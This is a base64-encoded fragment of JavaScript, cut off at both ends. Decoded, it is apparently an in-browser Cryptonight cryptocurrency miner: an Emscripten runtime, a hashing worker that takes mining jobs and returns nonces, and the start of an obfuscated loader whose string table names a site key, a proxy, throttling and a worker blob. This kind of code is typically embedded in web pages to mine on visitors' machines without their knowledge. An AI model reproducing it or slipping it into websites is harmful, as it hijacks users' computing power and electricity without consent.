BseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwX19fZXJybm9fbG9jYXRpb249TW9kdWxlW1x4MjJfX19lcnJub19sb2NhdGlvblx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJfX19lcnJub19sb2NhdGlvblx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO3Zhclx4MjBkeW5DYWxsX2lpPU1vZHVsZVtceDIyZHluQ2FsbF9paVx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJkeW5DYWxsX2lpXHgyMl0uYXBwbHkobnVsbCxhcmd1bWVudHMpfSk7dmFyXHgyMGR5bkNhbGxfaWlpaT1Nb2R1bGVbXHgyMmR5bkNhbGxfaWlpaVx4MjJdPShmdW5jdGlvbigpe3JldHVyblx4MjBNb2R1bGVbXHgyMmFzbVx4MjJdW1x4MjJkeW5DYWxsX2lpaWlceDIyXS5hcHBseShudWxsLGFyZ3VtZW50cyl9KTt2YXJceDIwZHluQ2FsbF92aWlpPU1vZHVsZVtceDIyZHluQ2FsbF92aWlpXHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyME1vZHVsZVtceDIyYXNtXHgyMl1bXHgyMmR5bkNhbGxfdmlpaVx4MjJdLmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO1J1bnRpbWUuc3RhY2tBbGxvYz1Nb2R1bGVbXHgyMnN0YWNrQWxsb2NceDIyXTtSdW50aW1lLnN0YWNrU2F2ZT1Nb2R1bGVbXHgyMnN0YWNrU2F2ZVx4MjJdO1J1bnRpbWUuc3RhY2tSZXN0b3JlPU1vZHVsZVtceDIyc3RhY2tSZXN0b3JlXHgyMl07UnVudGltZS5lc3RhYmxpc2hTdGFja1NwYWNlPU1vZHVsZVtceDIyZXN0YWJsaXNoU3RhY2tTcGFjZVx4MjJdO1J1bnRpbWUuc2V0VGVtcFJldDA9TW9kdWxlW1x4MjJzZXRUZW1wUmV0MFx4MjJdO1J1bnRpbWUuZ2V0VGVtcFJldDA9TW9kdWxlW1x4MjJnZXRUZW1wUmV0MFx4MjJdO01vZHVsZVtceDIyYXNtXHgyMl09YXNtO2lmKG1lbW9yeUluaXRpYWxpemVyKXtpZih0eXBlb2ZceDIwTW9kdWxlW1x4MjJsb2NhdGVGaWxlXHgyMl09PT1ceDIyZnVuY3Rpb25ceDIyKXttZW1vcnlJbml0aWFsaXplcj1Nb2R1bGVbXHgyMmxvY2F0ZUZpbGVceDIyXShtZW1vcnlJbml0aWFsaXplcil9ZWxzZVx4MjBpZihNb2R1bGVbXHgyMm1lbW9yeUluaXRpYWxpemVyUHJlZml4VVJMXHgyMl0pe21lbW9yeUluaXRpYWxpemVyPU1vZHVsZVtceDIybWVtb3J5SW5pdGlhbGl6ZXJQcmVmaXhVUkxceDIyXSttZW1vcnlJbml0aWFsaXplcn1pZihFTlZJUk9OTUVOVF9JU19OT0RFfHxFTlZJUk9OTUVOVF9JU19TSEVMTCl7dmFyXHgyMGRhdGE9TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl0obWVtb3J5SW5pdGlhbGl6ZXIpO0hFQVBVOC5zZXQoZGF0YSxSdW50aW1lLkdMT0JBTF9CQVNFKX1lbHNle2FkZFJ1bkRlcGVuZGVuY3koXHgyMm1lbW9yeVx4MjBpbml0aWFsaXplclx4MjIpO3Zhclx4MjBhcHBseU1lbW9yeUluaXRpYWxpemVyPShmdW5jdGlvbihkYXRhKXtpZihkYXRhLmJ5dGVMZW5ndGgpZGF0YT1uZXdceDIwVWludDhBcnJheShkYXRhKTtIRUFQVTguc2V0KGRhdGEsUnVudGltZS5HTE9CQUxfQkFTRSk7aWYoTW9kdWxlW1x4MjJtZW1vcnlJbml0aWFsaXplclJlcXVlc3RceDIyXSlkZWxldGVceDIwTW9kdWxlW1x4MjJtZW1vcnlJbml0aWFsaXplclJlcXVlc3RceDIyXS5yZXNwb25zZTtyZW1vdmVSdW5EZXBlbmRlbmN5KFx4MjJtZW1vcnlceDIwaW5pdGlhbGl6ZXJceDIyKX0pO2Z1bmN0aW9uXHgyMGRvQnJvd3NlckxvYWQoKXtNb2R1bGVbXHgyMnJlYWRBc3luY1x4MjJdKG1lbW9yeUluaXRpYWxpemVyLGFwcGx5TWVtb3J5SW5pdGlhbGl6ZXIsKGZ1bmN0aW9uKCl7dGhyb3dceDIyY291bGRceDIwbm90XHgyMGxvYWRceDIwbWVtb3J5XHgyMGluaXRpYWxpemVyXHgyMFx4MjIrbWVtb3J5SW5pdGlhbGl6ZXJ9KSl9aWYoTW9kdWxlW1x4MjJtZW1vcnlJbml0aWFsaXplclJlcXVlc3RceDIyXSl7ZnVuY3Rpb25ceDIwdXNlUmVxdWVzdCgpe3Zhclx4MjByZXF1ZXN0PU1vZHVsZVtceDIybWVtb3J5SW5pdGlhbGl6ZXJSZXF1ZXN0XHgyMl07aWYocmVxdWVzdC5zdGF0dXMhPT0yMDAmJnJlcXVlc3Quc3RhdHVzIT09MCl7Y29uc29sZS53YXJuKFx4MjJhXHgyMHByb2JsZW1ceDIwc2VlbXNceDIwdG9ceDIwaGF2ZVx4MjBoYXBwZW5lZFx4MjB3aXRoXHgyME1vZHVsZS5tZW1vcnlJbml0aWFsaXplclJlcXVlc3QsXHgyMHN0YXR1czpceDIwXHgyMityZXF1ZXN0LnN0YXR1cytceDIyLFx4MjByZXRyeWluZ1x4MjBceDIyK21lbW9yeUluaXRpYWxpemVyKTtkb0Jyb3dzZXJMb2FkKCk7cmV0dXJufWFwcGx5TWVtb3J5SW5pdGlhbGl6ZXIocmVxdWVzdC5yZXNwb25zZSl9aWYoTW9kdWxlW1x4MjJtZW1vcnlJbml0aWFsaXplclJlcXVlc3RceDIyXS5yZXNwb25zZSl7c2V0VGltZW91dCh1c2VSZXF1ZXN0LDApfWVsc2V7TW9kdWxlW1x4MjJtZW1vcnlJbml0aWFsaXplclJlcXVlc3RceDIyXS5hZGRFdmVudExpc3RlbmVyKFx4MjJsb2FkXHgyMix1c2VSZXF1ZXN0KX19ZWxzZXtkb0Jyb3dzZXJMb2FkKCl9fX1mdW5jdGlvblx4MjBFeGl0U3RhdHVzKHN0YXR1cyl7dGhpcy5uYW1lPVx4MjJFeGl0U3RhdHVzXHgyMjt0aGlzLm1lc3NhZ2U9XHgyMlByb2dyYW1ceDIwdGVybWluYXRlZFx4MjB3aXRoXHgyMGV4aXQoXHgyMitzdGF0dXMrXHgyMilceDIyO3RoaXMuc3RhdHVzPXN0YXR1c31FeGl0U3RhdHVzLnByb3RvdHlwZT1uZXdceDIwRXJyb3I7RXhpdFN0YXR1cy5wcm90b3R5cGUuY29uc3RydWN0b3I9RXhpdFN0YXR1czt2YXJceDIwaW5pdGlhbFN0YWNrVG9wO3Zhclx4MjBwcmVsb2FkU3RhcnRUaW1lPW51bGw7dmFyXHgyMGNhbGxlZE1haW49ZmFsc2U7ZGVwZW5kZW5jaWVzRnVsZmlsbGVkPWZ1bmN0aW9uXHgyMHJ1bkNhbGxlcigpe2lmKCFNb2R1bGVbXHgyMmNhbGxlZFJ1blx4MjJdKXJ1bigpO2lmKCFNb2R1bGVbXHgyMmNhbGxlZFJ1blx4MjJdKWRlcGVuZGVuY2llc0Z1bGZpbGxlZD1ydW5DYWxsZXJ9O01vZHVsZVtceDIyY2FsbE1haW5ceDIyXT1Nb2R1bGUuY2FsbE1haW49ZnVuY3Rpb25ceDIwY2FsbE1haW4oYXJncyl7YXJncz1hcmdzfHxbXTtlbnN1cmVJbml0UnVudGltZSgpO3Zhclx4MjBhcmdjPWFyZ3MubGVuZ3RoKzE7ZnVuY3Rpb25ceDIwcGFkKCl7Zm9yKHZhclx4MjBpPTA7aTw0LTE7aSsrKXthcmd2LnB1c2goMCl9fXZhclx4MjBhcmd2PVthbGxvY2F0ZShpbnRBcnJheUZyb21TdHJpbmcoTW9kdWxlW1x4MjJ0aGlzUHJvZ3JhbVx4MjJdKSxceDIyaThceDIyLEFMTE9DX05PUk1BTCldO3BhZCgpO2Zvcih2YXJceDIwaT0wO2k8YXJnYy0xO2k9aSsxKXthcmd2LnB1c2goYWxsb2NhdGUoaW50QXJyYXlGcm9tU3RyaW5nKGFyZ3NbaV0pLFx4MjJpOFx4MjIsQUxMT0NfTk9STUFMKSk7cGFkKCl9YXJndi5wdXNoKDApO2FyZ3Y9YWxsb2NhdGUoYXJndixceDIyaTMyXHgyMixBTExPQ19OT1JNQUwpO3RyeXt2YXJceDIwcmV0PU1vZHVsZVtceDIyX21haW5ceDIyXShhcmdjLGFyZ3YsMCk7ZXhpdChyZXQsdHJ1ZSl9Y2F0Y2goZSl7aWYoZVx4MjBpbnN0YW5jZW9mXHgyMEV4aXRTdGF0dXMpe3JldHVybn1lbHNlXHgyMGlmKGU9PVx4MjJTaW11bGF0ZUluZmluaXRlTG9vcFx4MjIpe01vZHVsZVtceDIybm9FeGl0UnVudGltZVx4MjJdPXRydWU7cmV0dXJufWVsc2V7dmFyXHgyMHRvTG9nPWU7aWYoZSYmdHlwZW9mXHgyMGU9PT1ceDIyb2JqZWN0XHgyMiYmZS5zdGFjayl7dG9Mb2c9W2UsZS5zdGFja119TW9kdWxlLnByaW50RXJyKFx4MjJleGNlcHRpb25ceDIwdGhyb3duOlx4MjBceDIyK3RvTG9nKTtNb2R1bGVbXHgyMnF1aXRceDIyXSgxLGUpfX1maW5hbGx5e2NhbGxlZE1haW49dHJ1ZX19O2Z1bmN0aW9uXHgyMHJ1bihhcmdzKXthcmdzPWFyZ3N8fE1vZHVsZVtceDIyYXJndW1lbnRzXHgyMl07aWYocHJlbG9hZFN0YXJ0VGltZT09PW51bGwpcHJlbG9hZFN0YXJ0VGltZT1EYXRlLm5vdygpO2lmKHJ1bkRlcGVuZGVuY2llcz4wKXtyZXR1cm59cHJlUnVuKCk7aWYocnVuRGVwZW5kZW5jaWVzPjApcmV0dXJuO2lmKE1vZHVsZVtceDIyY2FsbGVkUnVuXHgyMl0pcmV0dXJuO2Z1bmN0aW9uXHgyMGRvUnVuKCl7aWYoTW9kdWxlW1x4MjJjYWxsZWRSdW5ceDIyXSlyZXR1cm47TW9kdWxlW1x4MjJjYWxsZWRSdW5ceDIyXT10cnVlO2lmKEFCT1JUKXJldHVybjtlbnN1cmVJbml0UnVudGltZSgpO3ByZU1haW4oKTtpZihNb2R1bGVbXHgyMm9uUnVudGltZUluaXRpYWxpemVkXHgyMl0pTW9kdWxlW1x4MjJvblJ1bnRpbWVJbml0aWFsaXplZFx4MjJdKCk7aWYoTW9kdWxlW1x4MjJfbWFpblx4MjJdJiZzaG91bGRSdW5Ob3cpTW9kdWxlW1x4MjJjYWxsTWFpblx4MjJdKGFyZ3MpO3Bvc3RSdW4oKX1pZihNb2R1bGVbXHgyMnNldFN0YXR1c1x4MjJdKXtNb2R1bGVbXHgyMnNldFN0YXR1c1x4MjJdKFx4MjJSdW5uaW5nLi4uXHgyMik7c2V0VGltZW91dCgoZnVuY3Rpb24oKXtzZXRUaW1lb3V0KChmdW5jdGlvbigpe01vZHVsZVtceDIyc2V0U3RhdHVzXHgyMl0oXHgyMlx4MjIpfSksMSk7ZG9SdW4oKX0pLDEpfWVsc2V7ZG9SdW4oKX19TW9kdWxlW1x4MjJydW5ceDIyXT1Nb2R1bGUucnVuPXJ1bjtmdW5jdGlvblx4MjBleGl0KHN0YXR1cyxpbXBsaWNpdCl7aWYoaW1wbGljaXQmJk1vZHVsZVtceDIybm9FeGl0UnVudGltZVx4MjJdKXtyZXR1cm59aWYoTW9kdWxlW1x4MjJub0V4aXRSdW50aW1lXHgyMl0pe31lbHNle0FCT1JUPXRydWU7RVhJVFNUQVRVUz1zdGF0dXM7U1RBQ0tUT1A9aW5pdGlhbFN0YWNrVG9wO2V4aXRSdW50aW1lKCk7aWYoTW9kdWxlW1x4MjJvbkV4aXRceDIyXSlNb2R1bGVbXHgyMm9uRXhpdFx4MjJdKHN0YXR1cyl9aWYoRU5WSVJPTk1FTlRfSVNfTk9ERSl7cHJvY2Vzc1tceDIyZXhpdFx4MjJdKHN0YXR1cyl9TW9kdWxlW1x4MjJxdWl0XHgyMl0oc3RhdHVzLG5ld1x4MjBFeGl0U3RhdHVzKHN0YXR1cykpfU1vZHVsZVtceDIyZXhpdFx4MjJdPU1vZHVsZS5leGl0PWV4aXQ7dmFyXHgyMGFib3J0RGVjb3JhdG9ycz1bXTtmdW5jdGlvblx4MjBhYm9ydCh3aGF0KXtpZihNb2R1bGVbXHgyMm9uQWJvcnRceDIyXSl7TW9kdWxlW1x4MjJvbkFib3J0XHgyMl0od2hhdCl9aWYod2hhdCE9PXVuZGVmaW5lZCl7TW9kdWxlLnByaW50KHdoYXQpO01vZHVsZS5wcmludEVycih3aGF0KTt3aGF0PUpTT04uc3RyaW5naWZ5KHdoYXQpfWVsc2V7d2hhdD1ceDIyXHgyMn1BQk9SVD10cnVlO0VYSVRTVEFUVVM9MTt2YXJceDIwZXh0cmE9XHgyMlx4NWNuSWZceDIwdGhpc1x4MjBhYm9ydCgpXHgyMGlzXHgyMHVuZXhwZWN0ZWQsXHgyMGJ1aWxkXHgyMHdpdGhceDIwLXNceDIwQVNTRVJUSU9OUz0xXHgyMHdoaWNoXHgyMGNhblx4MjBnaXZlXHgyMG1vcmVceDIwaW5mb3JtYXRpb24uXHgyMjt2YXJceDIwb3V0cHV0PVx4MjJhYm9ydChceDIyK3doYXQrXHgyMilceDIwYXRceDIwXHgyMitzdGFja1RyYWNlKCkrZXh0cmE7aWYoYWJvcnREZWNvcmF0b3JzKXthYm9ydERlY29yYXRvcnMuZm9yRWFjaCgoZnVuY3Rpb24oZGVjb3JhdG9yKXtvdXRwdXQ9ZGVjb3JhdG9yKG91dHB1dCx3aGF0KX0pKX10aHJvd1x4MjBvdXRwdXR9TW9kdWxlW1x4MjJhYm9ydFx4MjJdPU1vZHVsZS5hYm9ydD1hYm9ydDtpZihNb2R1bGVbXHgyMnByZUluaXRceDIyXSl7aWYodHlwZW9mXHgyME1vZHVsZVtceDIycHJlSW5pdFx4MjJdPT1ceDIyZnVuY3Rpb25ceDIyKU1vZHVsZVtceDIycHJlSW5pdFx4MjJdPVtNb2R1bGVbXHgyMnByZUluaXRceDIyXV07d2hpbGUoTW9kdWxlW1x4MjJwcmVJbml0XHgyMl0ubGVuZ3RoPjApe01vZHVsZVtceDIycHJlSW5pdFx4MjJdLnBvcCgpKCl9fXZhclx4MjBzaG91bGRSdW5Ob3c9dHJ1ZTtpZihNb2R1bGVbXHgyMm5vSW5pdGlhbFJ1blx4MjJdKXtzaG91bGRSdW5Ob3c9ZmFsc2V9cnVuKCk7dmFyXHgyMENyeXB0b25pZ2h0V0FTTVdyYXBwZXI9KGZ1bmN0aW9uKCl7dGhpcy5jdHg9X2NyeXB0b25pZ2h0X2NyZWF0ZSgpO3RoaXMudGhyb3R0bGVXYWl0PTA7dGhpcy50aHJvdHRsZWRTdGFydD0wO3RoaXMudGhyb3R0bGVkSGFzaGVzPTA7dGhpcy53b3JrVGhyb3R0bGVkQm91bmQ9dGhpcy53b3JrVGhyb3R0bGVkLmJpbmQodGhpcyk7dGhpcy5jdXJyZW50Sm9iPW51bGw7dGhpcy50YXJnZXQ9bmV3XHgyMFVpbnQ4QXJyYXkoWzI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTVdKTt2YXJceDIwaGVhcD1Nb2R1bGUuSEVBUFU4LmJ1ZmZlcjt0aGlzLmlucHV0PW5ld1x4MjBVaW50OEFycmF5KGhlYXAsTW9kdWxlLl9tYWxsb2MoODQpLDg0KTt0aGlzLm91dHB1dD1uZXdceDIwVWludDhBcnJheShoZWFwLE1vZHVsZS5fbWFsbG9jKDMyKSwzMik7c2VsZi5wb3N0TWVzc2FnZShceDIycmVhZHlceDIyKTtzZWxmLm9ubWVzc2FnZT10aGlzLm9uTWVzc2FnZS5iaW5kKHRoaXMpfSk7Q3J5cHRvbmlnaHRXQVNNV3JhcHBlci5wcm90b3R5cGUub25NZXNzYWdlPShmdW5jdGlvbihtc2cpe3Zhclx4MjBqb2I9bXNnLmRhdGE7aWYoam9iLnZlcmlmeV9pZCl7dGhpcy52ZXJpZnkoam9iKTtyZXR1cm59aWYoIXRoaXMuY3VycmVudEpvYnx8dGhpcy5jdXJyZW50Sm9iLmpvYl9pZCE9PWpvYi5qb2JfaWQpe3RoaXMuc2V0Sm9iKGpvYil9aWYoam9iLnRocm90dGxlKXt0aGlzLnRocm90dGxlV2FpdD0xLygxLWpvYi50aHJvdHRsZSktMTt0aGlzLnRocm90dGxlZFN0YXJ0PXRoaXMubm93KCk7dGhpcy50aHJvdHRsZWRIYXNoZXM9MDt0aGlzLndvcmtUaHJvdHRsZWQoKX1lbHNle3RoaXMud29yaygpfX0pO0NyeXB0b25pZ2h0V0FTTVdyYXBwZXIucHJvdG90eXBlLmRlc3Ryb3k9KGZ1bmN0aW9uKCl7X2NyeXB0b25pZ2h0X2Rlc3Ryb3kodGhpcy5jdHgpfSk7Q3J5cHRvbmlnaHRXQVNNV3JhcHBlci5wcm90b3R5cGUuaGV4VG9CeXRlcz0oZnVuY3Rpb24oaGV4LGJ5dGVzKXt2YXJceDIwYnl0ZXM9bmV3XHgyMFVpbnQ4QXJyYXkoaGV4Lmxlbmd0aC8yKTtmb3IodmFyXHgyMGk9MCxjPTA7YzxoZXgubGVuZ3RoO2MrPTIsaSsrKXtieXRlc1tpXT1wYXJzZUludChoZXguc3Vic3RyKGMsMiksMTYpfXJldHVyblx4MjBieXRlc30pO0NyeXB0b25pZ2h0V0FTTVdyYXBwZXIucHJvdG90eXBlLmJ5dGVzVG9IZXg9KGZ1bmN0aW9uKGJ5dGVzKXtmb3IodmFyXHgyMGhleD1ceDIyXHgyMixpPTA7aTxieXRlcy5sZW5ndGg7aSsrKXtoZXgrPShieXRlc1tpXT4+PjQpLnRvU3RyaW5nKDE2KTtoZXgrPShieXRlc1tpXSYxNSkudG9TdHJpbmcoMTYpfXJldHVyblx4MjBoZXh9KTtDcnlwdG9uaWdodFdBU01XcmFwcGVyLnByb3RvdHlwZS5tZWV0c1RhcmdldD0oZnVuY3Rpb24oaGFzaCx0YXJnZXQpe2Zvcih2YXJceDIwaT0wO2k8dGFyZ2V0Lmxlbmd0aDtpKyspe3Zhclx4MjBoaT1oYXNoLmxlbmd0aC1pLTEsdGk9dGFyZ2V0Lmxlbmd0aC1pLTE7aWYoaGFzaFtoaV0+dGFyZ2V0W3RpXSl7cmV0dXJuXHgyMGZhbHNlfWVsc2VceDIwaWYoaGFzaFtoaV08dGFyZ2V0W3RpXSl7cmV0dXJuXHgyMHRydWV9fXJldHVyblx4MjBmYWxzZX0pO0NyeXB0b25pZ2h0V0FTTVdyYXBwZXIucHJvdG90eXBlLnNldEpvYj0oZnVuY3Rpb24oam9iKXt0aGlzLmN1cnJlbnRKb2I9am9iO3RoaXMuYmxvYj10aGlzLmhleFRvQnl0ZXMoam9iLmJsb2IpO3RoaXMuaW5wdXQuc2V0KHRoaXMuYmxvYik7dmFyXHgyMHRhcmdldD10aGlzLmhleFRvQnl0ZXMoam9iLnRhcmdldCk7aWYodGFyZ2V0Lmxlbmd0aDw9OCl7Zm9yKHZhclx4MjBpPTA7aTx0YXJnZXQubGVuZ3RoO2krKyl7dGhpcy50YXJnZXRbdGhpcy50YXJnZXQubGVuZ3RoLWktMV09dGFyZ2V0W3RhcmdldC5sZW5ndGgtaS0xXX1mb3IodmFyXHgyMGk9MDtpPHRoaXMudGFyZ2V0Lmxlbmd0aC10YXJnZXQubGVuZ3RoO2krKyl7dGhpcy50YXJnZXRbaV09MjU1fX1lbHNle3RoaXMudGFyZ2V0PXRhcmdldH19KTtDcnlwdG9uaWdodFdBU01XcmFwcGVyLnByb3RvdHlwZS5ub3c9KGZ1bmN0aW9uKCl7cmV0dXJuXHgyMHNlbGYucGVyZm9ybWFuY2U/c2VsZi5wZXJmb3JtYW5jZS5ub3coKTpEYXRlLm5vdygpfSk7Q3J5cHRvbmlnaHRXQVNNV3JhcHBlci5wcm90b3R5cGUuaGFzaD0oZnVuY3Rpb24oaW5wdXQsb3V0cHV0LGxlbmd0aCl7dmFyXHgyMG5vbmNlPU1hdGgucmFuZG9tKCkqNDI5NDk2NzI5NSsxPj4+MDt0aGlzLmlucHV0WzM5XT0obm9uY2UmNDI3ODE5MDA4MCk+PjI0O3RoaXMuaW5wdXRbNDBdPShub25jZSYxNjcxMTY4MCk+PjE2O3RoaXMuaW5wdXRbNDFdPShub25jZSY2NTI4MCk+Pjg7dGhpcy5pbnB1dFs0Ml09KG5vbmNlJjI1NSk+PjA7X2NyeXB0b25pZ2h0X2hhc2godGhpcy5jdHgsaW5wdXQuYnl0ZU9mZnNldCxvdXRwdXQuYnl0ZU9mZnNldCxsZW5ndGgpfSk7Q3J5cHRvbmlnaHRXQVNNV3JhcHBlci5wcm90b3R5cGUudmVyaWZ5PShmdW5jdGlvbihqb2Ipe3RoaXMuYmxvYj10aGlzLmhleFRvQnl0ZXMoam9iLmJsb2IpO3RoaXMuaW5wdXQuc2V0KHRoaXMuYmxvYik7Zm9yKHZhclx4MjBpPTAsYz0wO2M8am9iLm5vbmNlLmxlbmd0aDtjKz0yLGkrKyl7dGhpcy5pbnB1dFszOStpXT1wYXJzZUludChqb2Iubm9uY2Uuc3Vic3RyKGMsMiksMTYpfV9jcnlwdG9uaWdodF9oYXNoKHRoaXMuY3R4LHRoaXMuaW5wdXQuYnl0ZU9mZnNldCx0aGlzLm91dHB1dC5ieXRlT2Zmc2V0LHRoaXMuYmxvYi5sZW5ndGgpO3Zhclx4MjByZXN1bHQ9dGhpcy5ieXRlc1RvSGV4KHRoaXMub3V0cHV0KTtzZWxmLnBvc3RNZXNzYWdlKHt2ZXJpZnlfaWQ6am9iLnZlcmlmeV9pZCx2ZXJpZmllZDpyZXN1bHQ9PT1qb2IucmVzdWx0fSl9KTtDcnlwdG9uaWdodFdBU01XcmFwcGVyLnByb3RvdHlwZS53b3JrPShmdW5jdGlvbigpe3Zhclx4MjBoYXNoZXM9MDt2YXJceDIwbWVldHNUYXJnZXQ9ZmFsc2U7dmFyXHgyMHN0YXJ0PXRoaXMubm93KCk7dmFyXHgyMGVsYXBzZWQ9MDtkb3t0aGlzLmhhc2godGhpcy5pbnB1dCx0aGlzLm91dHB1dCx0aGlzLmJsb2IubGVuZ3RoKTtoYXNoZXMrKzttZWV0c1RhcmdldD10aGlzLm1lZXRzVGFyZ2V0KHRoaXMub3V0cHV0LHRoaXMudGFyZ2V0KTtlbGFwc2VkPXRoaXMubm93KCktc3RhcnR9d2hpbGUoIW1lZXRzVGFyZ2V0JiZlbGFwc2VkPDFlMyk7dmFyXHgyMGhhc2hlc1BlclNlY29uZD1oYXNoZXMvKGVsYXBzZWQvMWUzKTtpZihtZWV0c1RhcmdldCl7dmFyXHgyMG5vbmNlSGV4PXRoaXMuYnl0ZXNUb0hleCh0aGlzLmlucHV0LnN1YmFycmF5KDM5LDQzKSk7dmFyXHgyMHJlc3VsdEhleD10aGlzLmJ5dGVzVG9IZXgodGhpcy5vdXRwdXQpO3NlbGYucG9zdE1lc3NhZ2Uoe2hhc2hlc1BlclNlY29uZDpoYXNoZXNQZXJTZWNvbmQsaGFzaGVzOmhhc2hlcyxqb2JfaWQ6dGhpcy5jdXJyZW50Sm9iLmpvYl9pZCxub25jZTpub25jZUhleCxyZXN1bHQ6cmVzdWx0SGV4fSl9ZWxzZXtzZWxmLnBvc3RNZXNzYWdlKHtoYXNoZXNQZXJTZWNvbmQ6aGFzaGVzUGVyU2Vjb25kLGhhc2hlczpoYXNoZXN9KX19KTtDcnlwdG9uaWdodFdBU01XcmFwcGVyLnByb3RvdHlwZS53b3JrVGhyb3R0bGVkPShmdW5jdGlvbigpe3Zhclx4MjBzdGFydD10aGlzLm5vdygpO3RoaXMuaGFzaCh0aGlzLmlucHV0LHRoaXMub3V0cHV0LHRoaXMuYmxvYi5sZW5ndGgpO3Zhclx4MjBlbmQ9dGhpcy5ub3coKTt2YXJceDIwdGltZVBlckhhc2g9ZW5kLXN0YXJ0O3RoaXMudGhyb3R0bGVkSGFzaGVzKys7dmFyXHgyMGVsYXBzZWQ9ZW5kLXRoaXMudGhyb3R0bGVkU3RhcnQ7dmFyXHgyMGhhc2hlc1BlclNlY29uZD10aGlzLnRocm90dGxlZEhhc2hlcy8oZWxhcHNlZC8xZTMpO2lmKHRoaXMubWVldHNUYXJnZXQodGhpcy5vdXRwdXQsdGhpcy50YXJnZXQpKXt2YXJceDIwbm9uY2VIZXg9dGhpcy5ieXRlc1RvSGV4KHRoaXMuaW5wdXQuc3ViYXJyYXkoMzksNDMpKTt2YXJceDIwcmVzdWx0SGV4PXRoaXMuYnl0ZXNUb0hleCh0aGlzLm91dHB1dCk7c2VsZi5wb3N0TWVzc2FnZSh7aGFzaGVzUGVyU2Vjb25kOmhhc2hlc1BlclNlY29uZCxoYXNoZXM6dGhpcy50aHJvdHRsZWRIYXNoZXMsam9iX2lkOnRoaXMuY3VycmVudEpvYi5qb2JfaWQsbm9uY2U6bm9uY2VIZXgscmVzdWx0OnJlc3VsdEhleH0pO3RoaXMudGhyb3R0bGVkSGFzaGVzPTB9ZWxzZVx4MjBpZihlbGFwc2VkPjFlMyl7c2VsZi5wb3N0TWVzc2FnZSh7aGFzaGVzUGVyU2Vjb25kOmhhc2hlc1BlclNlY29uZCxoYXNoZXM6dGhpcy50aHJvdHRsZWRIYXNoZXN9KTt0aGlzLnRocm90dGxlZEhhc2hlcz0wfWVsc2V7dmFyXHgyMHdhaXQ9TWF0aC5taW4oMmUzLHRpbWVQZXJIYXNoKnRoaXMudGhyb3R0bGVXYWl0KTtzZXRUaW1lb3V0KHRoaXMud29ya1Rocm90dGxlZEJvdW5kLHdhaXQpfX0pO01vZHVsZVtceDIyb25SdW50aW1lSW5pdGlhbGl6ZWRceDIyXT0oZnVuY3Rpb24oKXt2YXJceDIwY3J5cHRvbmlnaHQ9bmV3XHgyMENyeXB0b25pZ2h0V0FTTVdyYXBwZXJ9KVx4MjAiLAogICJwcm90b3R5cGUiLAogICJzbGljZSIsCiAgImNhbGwiLAogICJzY3JpcHQiLAogICJmaWx0ZXIiLAogICJ0ZXN0IiwKICAic3JjIiwKICAibGVuZ3RoIiwKICAic3BsaXQiLAogICJtLmpzIiwKICAicHJveHk9IiwKICAibG9nIiwKICAicGFyYW1zIiwKICAiX3NpdGVLZXkiLAogICJfdXNlciIsCiAgIl9oYXNoZXMiLAogICJfY3VycmVudEpvYiIsCiAgIl9hdXRvUmVjb25uZWN0IiwKICAiX3JlY29ubmVjdFJldHJ5IiwKICAiX3Rva2VuRnJvbVNlcnZlciIsCiAgIl9nb2FsIiwKICAiX3RvdGFsSGFzaGVzRnJvbURlYWRUaHJlYWRzIiwKICAiX3Rocm90dGxlIiwKICAibWF4IiwKICAibWluIiwKICAidGhyb3R0bGUiLAogICJhdXRvVGhyZWFkcyIsCiAgIl90YWIiLAogICJyYW5kb20iLAogICJJRl9FWENMVVNJVkVfVEFCIiwKICAiQnJvYWRjYXN0Q2hhbm5lbCIsCiAgIl9iYyIsCiAgIm9ubWVzc2FnZSIsCiAgInBpbmciLAogICJub3ciLAogICJoYXJkd2FyZUNvbmN1cnJlbmN5IiwKICAiX3RhcmdldE51bVRocmVhZHMiLAogICJ0aHJlYWRzIiwKICAiX3VzZVdBU00iLAogICJoYXNXQVNNU3VwcG9ydCIsCiAgImZvcmNlQVNNSlMiLAogICJfYXNtanNTdGF0dXMiLAogICJ1bmxvYWRlZCIsCiAgIl9vblRhcmdldE1ldEJvdW5kIiwKICAiX29uVGFyZ2V0TWV0IiwKICAiYmluZCIsCiAgIl9vblZlcmlmaWVkQm91bmQiLAogICJtb2RlIiwKICAiX29wdEluVG9rZW4iLAogICJpbnRlcnZhbCIsCiAgImxvYWRlZCIsCiAgIl9zdGFydE5vdyIsCiAgInBlbmRpbmciLAogICJhZGRFdmVudExpc3RlbmVyIiwKICAiQ1JZUFRPTklHSFRfV09SS0VSX0JMT0IiLAogICJVUkwiLAogICJjcmVhdGVPYmplY3RVUkwiLAogICJyZXNwb25zZVRleHQiLAogICJvcGVuIiwKICAiZ2V0IiwKICAiYS5qcyIsCiAgInNlbmQiLAogICJfdGhyZWFkcyIsCiAgImhhc2hlc1RvdGFsIiwKICAic3RvcCIsCiAgIl9zb2NrZXQiLAogICJfYXV0b1RocmVhZHMiLAogICJnZXRIYXNoZXNQZXJTZWNvbmQiLAogICJoYXNoZXNQZXJTZWNvbmQiLAogICJnZXRUb3RhbEhhc2hlcyIsCiAgImxhc3RNZXNzYWdlVGltZXN0YW1wIgpdOwooZnVuY3Rpb24oXzB4NDc0YmU4LCBfMHgyYTBlMzEpIHsKICB2YXIgXzB4M2Y1NjMyID0gZnVuY3Rpb24oXzB4MjUzZDUyKSB7CiAgICB3aGlsZSAoLS1fMHgyNTNkNTIpIHsKICAgICAgXzB4NDc0YmU4WyJwdXNoIl0oXzB4NDc0YmU4WyJzaGlmdCJdKCkpOwogICAgfQogIH07CiAgXzB4M2Y1NjMyKCsrXzB4MmEwZTMxKTsKfSkoXzB4ODlkOSwgMHgxYjEpOwp2YXIgXzB4OTg5ZCA9IGZ1bmN0aW9uKF8weDQwNTkzMiwgXzB4NTQyODJiKSB7CiAgXzB4NDA1OTMyID0gXzB4NDA1OTMyIC0gMHgwOwogIHZhciBfMHg1ZTllYjUgPSBfMHg4OWQ5W18weDQwNTkzMl07CiAgcmV0dXJuIF8weDVlOWViNTsKfTsKdmFyIGxpYlVybCA9IG51bGw7CnZhci